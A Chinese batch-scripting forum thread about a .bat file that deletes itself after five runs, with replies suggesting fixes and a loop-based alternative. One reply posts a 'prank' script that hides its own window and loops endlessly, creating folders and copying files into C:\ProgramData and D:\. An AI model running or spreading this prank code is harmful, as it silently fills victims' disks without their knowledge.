无忧启动论坛
标题:
执行n次(例子是五次)后删除自己
[打印本页]
作者:
窄口牛
时间:
2020-7-26 10:49
标题:
执行n次(例子是五次)后删除自己
@echo off
set a=%~n0
set /a a+=1
if %~n0 == 6 (del /s /f /q %0)
echo %a%
pause
move %0 d:\桌面\%a%.bat
复制代码
范例下载
执行5次后删除自己.rar
(211 Bytes, 下载次数: 44)
2020-7-26 10:49 上传
点击文件名下载附件
下载积分: 无忧币 -2
作者:
879792799
时间:
2020-7-26 10:59
好程序!
作者:
junyee
时间:
2020-7-26 12:45
程序有毛病.
win7x32
变量不会保存
set a=%~n0 //获取脚本文件名这句好像无意义
del /s /f /q %0 //建议加上双引号
复制代码
作者:
窄口牛
时间:
2020-7-26 13:30
好的,主要是提供思路。
作者:
cnzb
时间:
2020-7-26 15:09
这里有个恶作剧代码用到了这个,你看看是不是:
@echo off
title ezj无窗口
%1 mshta vbscript:CreateObject("WScript.Shell").Run("%~s0 ::",0,FALSE)(window.close)&&exit
set n=1
:main
tree >ezj.txt
md "C:\ProgramData\%n%"
md "D:\%n%"
copy ezj.txt "C:\ProgramData\%n%"
copy ezj.txt "D:\%n%"
set /a n=n+1
goto main
网盘:https://c-t.work/s/8f34cdc16eb245
作者:
77888
时间:
2020-7-26 16:29
短小精悍的代码,让人看着舒心
作者:
dos时代菜鸟
时间:
2020-7-26 20:11
本帖最后由 dos时代菜鸟 于 2020-7-26 20:12 编辑
@echo off
set n=6
for /l %%c in (1,1,%n%) do (
call :program %%c
)
pause
goto :end1
:program
echo %1
exit /b
:end1
del /s /f /q %0
复制代码
用 for 实现 循环6次,program 段可以放一些 指令,
作者:
窄口牛
时间:
2020-7-26 22:44
不一样,二次审题看看?
作者:
bijiaolan
时间:
2020-7-29 15:30
好的,主要是提供思路。
欢迎光临 无忧启动论坛 (http://bbs.wuyou.net./)
Powered by Discuz! X3.3